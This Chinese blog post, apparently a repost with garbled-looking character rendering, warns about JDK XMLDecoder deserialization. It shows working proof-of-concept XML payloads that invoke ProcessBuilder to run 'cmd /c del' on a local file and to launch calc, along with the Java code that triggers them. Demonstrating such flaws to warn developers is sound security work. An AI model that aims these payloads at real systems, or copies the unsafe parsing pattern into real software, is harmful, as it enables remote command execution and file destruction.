jdk紧急漏洞,XMLDecoder反序列化攻击
昨天在公司發(fā)現(xiàn)了一個(gè)jdk中的XMLDecoder反序列化的漏洞,看起來(lái)很危險(xiǎn)!下面通過(guò)兩個(gè)示例來(lái)看看這個(gè)漏洞的危害!
示例1:利用XmlDecoder刪除本地文件
首先來(lái)看這個(gè)xmldecoder.xml文件內(nèi)容:
<?xml version="1.0" encoding="UTF-8"?> <java version="1.8.0_151" class="java.beans.XMLDecoder"><object class="java.lang.ProcessBuilder"><array class="java.lang.String" length="4"><void index="0"><string>cmd</string></void><void index="1"><string>/c</string></void><void index="2"><string>del</string></void><void index="3"><string>e:\1.txt</string></void> </array><void method="start" /></object> </java>再來(lái)看利用XMLDecoder解析這個(gè)xml文件的示例代碼:
private static void byXmlFile() {File file = new File("E:\\xmldecoder.xml");XMLDecoder xd = null;try {xd = new XMLDecoder(new BufferedInputStream(new FileInputStream(file)));} catch (Exception e) {e.printStackTrace();}Object s2 = xd.readObject();xd.close(); }這段代碼執(zhí)行后,直接刪除了本地的e:\1.txt文件,相當(dāng)于在命令行調(diào)用了cmd /c del e:\1.txt命令,直接刪除了本地文件,相當(dāng)恐怖!
示例2:利用XmlDecoder調(diào)用本地程序
private static void byXmlString() {String xml = new StringBuilder().append("<?xml version=\"1.0\" encoding=\"UTF-8\"?>").append("<java version=\"1.8.0_151\" class=\"java.beans.XMLDecoder\">").append(" <object class=\"java.lang.ProcessBuilder\">").append(" <array class=\"java.lang.String\" length=\"1\">").append(" <void index=\"0\">").append(" <string>calc</string>").append(" </void>").append(" </array>").append(" <void method=\"start\" />").append(" </object>").append("</java>").toString();XMLDecoder xd = null;try {xd = new XMLDecoder(new ByteArrayInputStream(xml.getBytes()));} catch (Exception e) {e.printStackTrace();}Object s2 = xd.readObject();xd.close(); }這段代碼改成了用String輸入源的形式,這不重要,重要的是還是利用了jdk中的XmlDecoder類來(lái)解析xml字符串。這段代碼執(zhí)行后,會(huì)調(diào)用出本地的計(jì)算器程序。
其中ProcessBuilder.start()的方法和Runtime.exec()方法一樣,都可以被用來(lái)創(chuàng)建一個(gè)操作系統(tǒng)進(jìn)程,可用來(lái)控制進(jìn)程狀態(tài)并獲得相關(guān)信息。
ProcessBuilder的構(gòu)造方法接受一個(gè)命令列表。
public ProcessBuilder(List<String> command) {if (command == null)throw new NullPointerException();this.command = command; }總結(jié)
Jdk中的XmlDecoder反序列化存在安全漏洞,能調(diào)用本地的應(yīng)用,也能執(zhí)行系統(tǒng)支持的命令,一旦黑客組織成命令列表攻擊系統(tǒng),后果不堪設(shè)想!
我只是用ProcessBuilder類演示了調(diào)用系統(tǒng)程序這兩種案例,當(dāng)然還有其他,遠(yuǎn)不止這一種攻擊手段。作者看了下,這個(gè)漏洞在jdk8_0_151版本中還存在。
建議不要用JDK中的XmlDeocder類,尋求其它更安全的xml解析工具類。
求轉(zhuǎn)發(fā),緊急擴(kuò)散,避免更大程度的損失!~
推薦閱讀
個(gè)人珍藏最全Spring Boot全套視頻教程
分享一套高級(jí)視頻教程:Dubbo+Zookeeper+ActiveMQ+Redis系列
分享一套分布式架構(gòu)設(shè)計(jì)高級(jí)視頻教程
分享一套Hadoop全套視頻教程系列
去BAT面試完的Mysql面試題總結(jié)(55道,帶完整答案)
阿里高級(jí)Java面試題(首發(fā),70道,帶詳細(xì)答案)
2017派臥底去阿里、京東、美團(tuán)、滴滴帶回來(lái)的面試題及答案
Spring面試題(70道,史上最全)
通往大神之路,百度Java面試題前200頁(yè)。
分享Java干貨,高并發(fā)編程,熱門技術(shù)教程,微服務(wù)及分布式技術(shù),架構(gòu)設(shè)計(jì),區(qū)塊鏈技術(shù),人工智能,大數(shù)據(jù),Java面試題,以及前沿?zé)衢T資訊等。
總結(jié)
以上是生活随笔為你收集整理的jdk紧急漏洞,XMLDecoder反序列化攻击的全部?jī)?nèi)容,希望文章能夠幫你解決所遇到的問(wèn)題。
- 上一篇: Objective-C 之Block(2
- 下一篇: Python3的urllib.parse